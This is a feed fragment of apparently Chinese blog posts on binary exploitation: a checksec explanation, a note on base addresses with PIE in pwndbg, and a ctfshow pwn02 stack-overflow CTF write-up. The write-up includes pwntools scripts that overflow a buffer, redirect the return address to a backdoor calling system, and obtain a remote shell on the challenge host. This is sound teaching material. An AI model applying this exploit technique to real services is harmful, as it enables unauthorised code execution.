&lt;h3 id=&quot;h3--strong-1-strong-&quot;&gt;&lt;a name=&quot;&lt;strong&gt;1. 输出字段解析&lt;/strong&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;&lt;strong&gt;1. 输出字段解析&lt;/strong&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;字段&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;含义&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;检查结果&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;被检查的文件路径。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/cz/pwn/stack&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;文件的架构类型，例如 &lt;code&gt;i386&lt;/code&gt;（32位）或 &lt;code&gt;x86_64&lt;/code&gt;（64位）。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;i386&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RELRO&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Relocation Read-Only&lt;/strong&gt;，重定位表的保护级别（Partial 或 Full）。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Partial RELRO&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stack&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;堆栈金丝雀保护（Stack Canary）&lt;/strong&gt;，用于检测缓冲区溢出是否覆盖返回地址。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;No canary found&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No eXecute 位&lt;/strong&gt;，数据段（如栈和堆）是否被标记为不可执行。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NX enabled&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PIE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;位置无关可执行（Position Independent Executable）&lt;/strong&gt;，是否启用了地址随机化（ASLR）。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;No PIE (0x8048000)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stripped&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;文件是否去除了符号表。如果去掉符号表，调试和反编译会更加困难。&lt;/td&gt;
&lt;td&gt;&lt;code&gt;No&lt;/code&gt;（未去掉符号表）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;h3--strong-2-strong-&quot;&gt;&lt;a name=&quot;&lt;strong&gt;2. 结果详细解读&lt;/strong&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;&lt;strong&gt;2. 结果详细解读&lt;/strong&gt;&lt;/h3&gt;&lt;h4 id=&quot;h4--strong-relro-partial-relro-strong-&quot;&gt;&lt;a name=&quot;&lt;strong&gt;RELRO: Partial RELRO&lt;/strong&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;&lt;strong&gt;RELRO: Partial RELRO&lt;/strong&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;启用了部分 RELRO 保护。&lt;/li&gt;&lt;li&gt;部分 &lt;code&gt;GOT&lt;/code&gt; 表（全局偏移量表）被标记为只读，防止部分重定位攻击。&lt;/li&gt;&lt;li&gt;但未启用 &lt;code&gt;NOW&lt;/code&gt; 标志（Full RELRO），意味着在程序运行时，&lt;code&gt;GOT&lt;/code&gt; 表的重定位仍然可能被覆盖，存在一定的安全风险。&lt;/li&gt;&lt;/ul&gt;
&lt;h4 id=&quot;h4--strong-stack-no-canary-found-strong-&quot;&gt;&lt;a name=&quot;&lt;strong&gt;Stack: No canary found&lt;/strong&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;&lt;strong&gt;Stack: No canary found&lt;/strong&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;未启用堆栈保护（Stack Canary）。&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;如果程序中存在缓冲区溢出漏洞，攻击者可以直接覆盖返回地址或其他关键数据，执行恶意代码。&lt;/li&gt;&lt;li&gt;堆栈金丝雀可以在溢出发生时检测异常，但这里没有启用。&lt;/li&gt;&lt;/ul&gt;
&lt;h4 id=&quot;h4--strong-nx-nx-enabled-strong-&quot;&gt;&lt;a name=&quot;&lt;strong&gt;NX: NX enabled&lt;/strong&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;&lt;strong&gt;NX: NX enabled&lt;/strong&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;启用了 &lt;strong&gt;NX（No eXecute）&lt;/strong&gt; 位，数据段（如栈、堆）被标记为不可执行。&lt;/li&gt;&lt;li&gt;攻击者无法直接在栈上执行 Shellcode，有效防止简单的代码注入攻击。&lt;/li&gt;&lt;li&gt;如果攻击者尝试在栈上执行代码，程序会触发段错误。&lt;/li&gt;&lt;/ul&gt;
&lt;h4 id=&quot;h4--strong-pie-no-pie-0x8048000-strong-&quot;&gt;&lt;a name=&quot;&lt;strong&gt;PIE: No PIE (0x8048000)&lt;/strong&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;&lt;strong&gt;PIE: No PIE (0x8048000)&lt;/strong&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;未启用位置无关可执行（PIE）。&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;程序的加载地址是固定的（基址为 &lt;code&gt;0x8048000&lt;/code&gt;）。&lt;/li&gt;&lt;li&gt;攻击者可以预测内存布局（例如代码段地址），更加容易实施基于地址的攻击（如 ROP 攻击）。&lt;/li&gt;&lt;/ul&gt;
&lt;h4 id=&quot;h4--strong-stripped-no-strong-&quot;&gt;&lt;a name=&quot;&lt;strong&gt;Stripped: No&lt;/strong&gt;&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;&lt;strong&gt;Stripped: No&lt;/strong&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;未去掉符号表。&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;程序仍然保留调试信息（如函数名、变量名等符号）。&lt;/li&gt;&lt;li&gt;这对攻击者有利，因为符号信息可以帮助快速定位和分析程序中的漏洞。&lt;/li&gt;&lt;/ul&gt;
</description><pubDate>Fri, 20 Jun 2025 08:45:30 +0800</pubDate></item><item><title>【二进制】程序的基址</title><link>https://www.caozhexxgweb.cn/?id=131</link><description>&lt;h1 id=&quot;h1-u7A0Bu5E8Fu7684u57FAu5740&quot;&gt;&lt;a name=&quot;程序的基址&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;程序的基址&lt;/h1&gt;&lt;div class=&quot;markdown-toc editormd-markdown-toc&quot;&gt;[TOC]&lt;/div&gt;&lt;p&gt;问题在静态分析中，程序有地址&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/06/202506041434311914430.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;那么我们要是在动态调试的时候下断点怎么做呢，那么就要用到程序的基址+偏移地址，未开启PIE除外&lt;/p&gt;
&lt;h2 id=&quot;h2--pie&quot;&gt;&lt;a name=&quot;开启了PIE&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;开启了PIE&lt;/h2&gt;&lt;p&gt;下面可以看到，程序开启PIE，那么在动态调试时，程序的代码段地址是 基址 + 静态分析中的偏移地址。因此，你需要将 基址 加上静态分析中观察到的地址（偏移量）来设置断点。&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/06/202506041434443080721.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;用vmmap找到基址&lt;code&gt;0x55be78b8d000&lt;/code&gt;&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/06/202506041434564605238.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;如果你要下的断点是0x11DD，那么在pwndbg中需要用&lt;code&gt;b *(0x55be78b8d000 + 0x11DD)&lt;/code&gt;才行&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/06/202506041435042340331.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;h2--pie&quot;&gt;&lt;a name=&quot;没有开启PIE&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;没有开启PIE&lt;/h2&gt;&lt;p&gt;下面可以看到，程序没有开启PIE，那么每次的基址是固定的，用vmmap可以查看，第一个&lt;code&gt;0x8048000&lt;/code&gt;，也就是基址了，和静态分析里是一致的，如果要下断点，那么在pwndbg中可以用&lt;code&gt;b *(0x8048581)&lt;/code&gt;即可成功下断点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; checksec 
File:     /home/cz/pwn/stack
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
pwndbg&amp;gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
     Start        End Perm     Size Offset File
 0x8048000  0x8049000 r-xp     1000      0 /home/cz/pwn/stack
 0x8049000  0x804a000 r--p     1000      0 /home/cz/pwn/stack
 0x804a000  0x804b000 rw-p     1000   1000 /home/cz/pwn/stack
0xf7d67000 0xf7d8a000 r--p    23000      0 /usr/lib/i386-linux-gnu/libc.so.6
0xf7d8a000 0xf7f16000 r-xp   18c000  23000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f16000 0xf7f9b000 r--p    85000 1af000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9b000 0xf7f9d000 r--p     2000 234000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9d000 0xf7f9e000 rw-p     1000 236000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9e000 0xf7fa8000 rw-p     a000      0 [anon_f7f9e]
0xf7fc0000 0xf7fc2000 rw-p     2000      0 [anon_f7fc0]
0xf7fc2000 0xf7fc6000 r--p     4000      0 [vvar]
0xf7fc6000 0xf7fc8000 r-xp     2000      0 [vdso]
0xf7fc8000 0xf7fc9000 r--p     1000      0 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc9000 0xf7fed000 r-xp    24000   1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fed000 0xf7ffb000 r--p     e000  25000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p     2000  33000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p     1000  35000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rw-p    21000      0 [stack]
pwndbg&amp;gt; &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;下面这张图也可以很明显的发现地址是一致的&lt;br&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/06/202506041435189131687.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</description><pubDate>Wed, 04 Jun 2025 14:33:56 +0800</pubDate></item><item><title>【CTF】pwn栈溢出的入门打卡-ctfshow-pwn02 </title><link>https://www.caozhexxgweb.cn/?id=130</link><description>&lt;h1 id=&quot;h1-ctfshow-pwn02-&quot;&gt;&lt;a name=&quot;ctfshow-pwn02 栈溢出&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;ctfshow-pwn02 栈溢出&lt;/h1&gt;&lt;div class=&quot;markdown-toc editormd-markdown-toc&quot;&gt;[TOC]&lt;/div&gt;&lt;h2 id=&quot;h2-u77E5u8BC6u56DEu987E&quot;&gt;&lt;a name=&quot;知识回顾&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;知识回顾&lt;/h2&gt;&lt;p&gt;这题首先需要掌握的是call和retn的底层逻辑，这里我在汇编基础文章里写过，但怕忘，还是重点再重复一次。&lt;/p&gt;
&lt;h3 id=&quot;h3--call&quot;&gt;&lt;a name=&quot;首先讲讲call&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;首先讲讲call&lt;/h3&gt;&lt;p&gt;其实call本质是分步执行的&lt;br&gt;1、修改eip&lt;br&gt;2、吧call的下一行地址压入堆栈中&lt;br&gt;3、ESP值-4&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 执行
call 004183FA
# 分步
mov eip,004183FA
push 004183FA -&amp;gt; mov dword ptr ds:[esp-4],004183FA
                 sub esp,4&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;h3--ret&quot;&gt;&lt;a name=&quot;再讲讲ret&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;再讲讲ret&lt;/h3&gt;&lt;p&gt;ret其实就是反过来，将esp-4的地址移动到eip，也就是将call之前写入栈中的下一行地址给赋值给eip，实现调用完后继续执行的效果 &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 执行
ret
# 分步执行
add esp,4
mov eip,[esp-4]&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;了解了这些前置知识，我们就可以入门pwn的第一课了，栈溢出&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;h2-u9759u6001u5206u6790&quot;&gt;&lt;a name=&quot;静态分析&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;静态分析&lt;/h2&gt;&lt;p&gt;下载题目，在ctfshow平台上的pwn02题目&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091125258596765.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现是一个32位的ELF文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;┌──(c㉿kali)-[~/pwn/stack_dir]
└─$ file stack 
stack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d51fd1e5dbc8bde0ebef57a961f37ee41fab2de8, not stripped&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且可以看到保护基本没有开，PIE也关的，代表我们可以直接通过静态地址来跳转到函数地址。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;pwndbg&amp;gt; checksec 
File:     /home/cz/pwn/stack_dir/stack
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
pwndbg&amp;gt; &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在ida里发现有几个明显奇怪的函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091125443314300.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在pwnme函数中发现esp只被分配了18h。&lt;br&gt;然而在call _fgets中指定了最多读取0x32字节（50字节）到s。&lt;br&gt;导致可能会出现栈溢出。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091126035352225.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3-u601Du8003&quot;&gt;&lt;a name=&quot;思考&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;思考&lt;/h3&gt;&lt;p&gt;那么溢出是前提，我们的目的是什么呢？&lt;/p&gt;
&lt;p&gt;目的其实就是将call压入的下一eip的值给覆盖了。&lt;/p&gt;
&lt;p&gt;可是这还有一个问题，实现一个eip可控的目的，但可控，我们要改成什么呢？&lt;/p&gt;
&lt;p&gt;我们可以看到题目中，其实下面程序已经给我们准备了一个stack后门函数，地址为0x0804850F，我们只要将esp-4的值改成这个就可以了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091126167857361.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那么我们就直接开始&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;h2-u5F00u59CB&quot;&gt;&lt;a name=&quot;开始&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;开始&lt;/h2&gt;&lt;h3 id=&quot;h3-u627Eu51FAu8986u76D6u70B9&quot;&gt;&lt;a name=&quot;找出覆盖点&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;找出覆盖点&lt;/h3&gt;&lt;p&gt;快速找出需要覆盖到的返回地址长度只需要用pwndbg&lt;/p&gt;
&lt;p&gt;1.先用cyclic 40生成一段字符串：&lt;br&gt;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa&lt;br&gt;2.gdb运行程序，输入字符串&lt;br&gt;3.cyclic -l 【错误地址】&lt;/p&gt;
&lt;p&gt;根据下面的尝试，我们得到了溢出所需的长度是13&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;pwndbg&amp;gt; cyclic 40
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
pwndbg&amp;gt; r
Starting program: /home/cz/pwn/stack_dir/stack 
[Thread debugging using libthread_db enabled]
Using host libthread_db library &amp;quot;/lib/x86_64-linux-gnu/libthread_db.so.1&amp;quot;.
stack happy!
32bits

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa

Program received signal SIGSEGV, Segmentation fault.
0x65616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
 EAX  0
 EBX  0xf7f9ce14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x235d0c /* &amp;#39;\x0c]#&amp;#39; */
 ECX  0
 EDX  0xf7f9e8ac (_IO_stdfile_0_lock) ◂— 0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x80485b0 (__libc_csu_init) ◂— push ebp
 EBP  0x64616161 (&amp;#39;aaad&amp;#39;)
 ESP  0xffffd300 ◂— &amp;#39;aaafaaagaaahaaaiaaajaaa\n&amp;#39;
 EIP  0x65616161 (&amp;#39;aaae&amp;#39;)
────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────
Invalid address 0x65616161
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd300 ◂— &amp;#39;aaafaaagaaahaaaiaaajaaa\n&amp;#39;
01:0004│     0xffffd304 ◂— &amp;#39;aaagaaahaaaiaaajaaa\n&amp;#39;
02:0008│     0xffffd308 ◂— &amp;#39;aaahaaaiaaajaaa\n&amp;#39;
03:000c│     0xffffd30c ◂— &amp;#39;aaaiaaajaaa\n&amp;#39;
04:0010│     0xffffd310 ◂— &amp;#39;aaajaaa\n&amp;#39;
05:0014│     0xffffd314 ◂— &amp;#39;aaa\n&amp;#39;
06:0018│     0xffffd318 —▸ 0xf7da5000 (canonicalize_file_name) ◂— sub esp, 0x14
07:001c│     0xffffd31c —▸ 0xf7d8bd43 (__libc_start_call_main+115) ◂— add esp, 0x10
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► 0 0x65616161 None
   1 0x66616161 None
   2 0x67616161 None
   3 0x68616161 None
   4 0x69616161 None
   5 0x6a616161 None
   6 0xa616161 None
   7 0xf7da5000 canonicalize_file_name
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; cyclic -l 0x65616161
Finding cyclic pattern of 4 bytes: b&amp;#39;aaae&amp;#39; (hex: 0x61616165)
Found at offset 13
pwndbg&amp;gt; &lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u8986u76D6u8FD4u56DEu5730u5740&quot;&gt;&lt;a name=&quot;覆盖返回地址&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;覆盖返回地址&lt;/h3&gt;&lt;p&gt;将栈中填满溢出的值13，然后后面填上返回地址即可，下面是用pwntools的py代码样例&lt;/p&gt;
&lt;p&gt;重点是看payload这个变量，它将a*13个作为溢出的字符串 p32是创建一个32位的小端序字节序列，地址就是之前静态分析出的后门地址&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *
context.terminal = [&amp;#39;tmux&amp;#39;, &amp;#39;splitw&amp;#39;, &amp;#39;-h&amp;#39;]
backdoor = 0x0804850F
p=process(&amp;quot;./stack&amp;quot;)

# p=remote(&amp;quot;&amp;quot;,0)

gdb.attach(p, &amp;#39;&amp;#39;&amp;#39;
    b *0x08048505
    c
&amp;#39;&amp;#39;&amp;#39;)
p.recvuntil(b&amp;quot;32bits\n&amp;quot;)

payload = b&amp;quot;a&amp;quot;*13 + p32(backdoor)
p.sendline(payload)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们运行一下试试&lt;/p&gt;
&lt;p&gt;发现堆栈中的返回地址被我们改成了&lt;code&gt;0x804850f&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;─────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────
   0x8048505 &amp;lt;pwnme+26&amp;gt;    add    esp, 0x10     ESP =&amp;gt; 0xfffe5fb0 (0xfffe5fa0 + 0x10)
   0x8048508 &amp;lt;pwnme+29&amp;gt;    mov    eax, 0        EAX =&amp;gt; 0
   0x804850d &amp;lt;pwnme+34&amp;gt;    leave  
 _ 0x804850e &amp;lt;pwnme+35&amp;gt;    ret                                &amp;lt;stack&amp;gt;
    _
   0x804850f &amp;lt;stack&amp;gt;       push   ebp
   0x8048510 &amp;lt;stack+1&amp;gt;     mov    ebp, esp      EBP =&amp;gt; 0xfffe5fcc __ 0x61616161 (&amp;#39;aaaa&amp;#39;)
   0x8048512 &amp;lt;stack+3&amp;gt;     sub    esp, 8        ESP =&amp;gt; 0xfffe5fc4 (0xfffe5fcc - 0x8)
   0x8048515 &amp;lt;stack+6&amp;gt;     sub    esp, 0xc      ESP =&amp;gt; 0xfffe5fb8 (0xfffe5fc4 - 0xc)
   0x8048518 &amp;lt;stack+9&amp;gt;     push   0x8048630
   0x804851d &amp;lt;stack+14&amp;gt;    call   system@plt                  &amp;lt;system@plt&amp;gt;

   0x8048522 &amp;lt;stack+19&amp;gt;    add    esp, 0x10
─────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ esp 0xfffe5fcc __ 0x804850f (stack) __ push ebp
01:0004│     0xfffe5fd0 __ 0xa /* &amp;#39;\n&amp;#39; */
02:0008│     0xfffe5fd4 __ 0xfffe5ff0 __ 1
03:000c│     0xfffe5fd8 __ 0
04:0010│     0xfffe5fdc __ 0xf7d51d43 (__libc_start_call_main+115) __ add esp, 0x10
05:0014│     0xfffe5fe0 __ 0
06:0018│     0xfffe5fe4 __ 0
07:001c│     0xfffe5fe8 __ 0xf7d6b069 (__new_exitfn+9) __ add ebx, 0x1f7dab&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比一下正常运行时候的堆栈&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;───────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────
   0x8048505 &amp;lt;pwnme+26&amp;gt;    add    esp, 0x10     ESP =&amp;gt; 0xffffd270 (0xffffd260 + 0x10)
   0x8048508 &amp;lt;pwnme+29&amp;gt;    mov    eax, 0        EAX =&amp;gt; 0
   0x804850d &amp;lt;pwnme+34&amp;gt;    leave  
 _ 0x804850e &amp;lt;pwnme+35&amp;gt;    ret                                &amp;lt;main+94&amp;gt;
    _
   0x8048586 &amp;lt;main+94&amp;gt;     sub    esp, 0xc      ESP =&amp;gt; 0xffffd284 (0xffffd290 - 0xc)
   0x8048589 &amp;lt;main+97&amp;gt;     push   0x804864d
   0x804858e &amp;lt;main+102&amp;gt;    call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x8048593 &amp;lt;main+107&amp;gt;    add    esp, 0x10
   0x8048596 &amp;lt;main+110&amp;gt;    mov    eax, 0                       EAX =&amp;gt; 0
   0x804859b &amp;lt;main+115&amp;gt;    mov    ecx, dword ptr [ebp - 4]
   0x804859e &amp;lt;main+118&amp;gt;    leave  
────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd28c __ 0x8048586 (main+94) __ sub esp, 0xc
01:0004│-008 0xffffd290 __ 0
02:0008│-004 0xffffd294 __ 0xffffd2b0 __ 1
03:000c│ ebp 0xffffd298 __ 0
04:0010│+004 0xffffd29c __ 0xf7d8bd43 (__libc_start_call_main+115) __ add esp, 0x10
05:0014│+008 0xffffd2a0 __ 0
06:0018│+00c 0xffffd2a4 __ 0
07:001c│+010 0xffffd2a8 __ 0xf7da5069 (__new_exitfn+9) __ add ebx, 0x1f7dab&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.caozhexxgweb.cn/zb_users/upload/2025/01/202501091127154731246.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3--sh-flag&quot;&gt;&lt;a name=&quot;改为远程调试获取远程sh和flag&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;改为远程调试获取远程sh和flag&lt;/h3&gt;&lt;p&gt;本地测试成功后，我们用pwntools的remote，和远程端口进行链接，并且发送我们之前的溢出字符串，如下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *
context.terminal = [&amp;#39;tmux&amp;#39;, &amp;#39;splitw&amp;#39;, &amp;#39;-h&amp;#39;]
backdoor = 0x0804850F

p=remote(&amp;quot;pwn.challenge.ctf.show&amp;quot;,28130)

p.recvuntil(b&amp;quot;32bits\n&amp;quot;)

payload = b&amp;quot;a&amp;quot;*13 + p32(backdoor)
p.sendline(payload)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行后成功通过pwn溢出返回地址，执行后门函数，获取shell，cat flag即可获取flag&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;┌──(cz__kali)-[~/pwn/stack_dir]
└─$ python3.11 py_stack.py
[+] Opening connection to pwn.challenge.ctf.show on port 28130: Done
[*] Switching to interactive mode

$ ls
FLAG
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
ctfshow{e665b37d-1754-470f-8a01-bcd33cc6b87f}
$  &lt;/code&gt;&lt;/pre&gt;
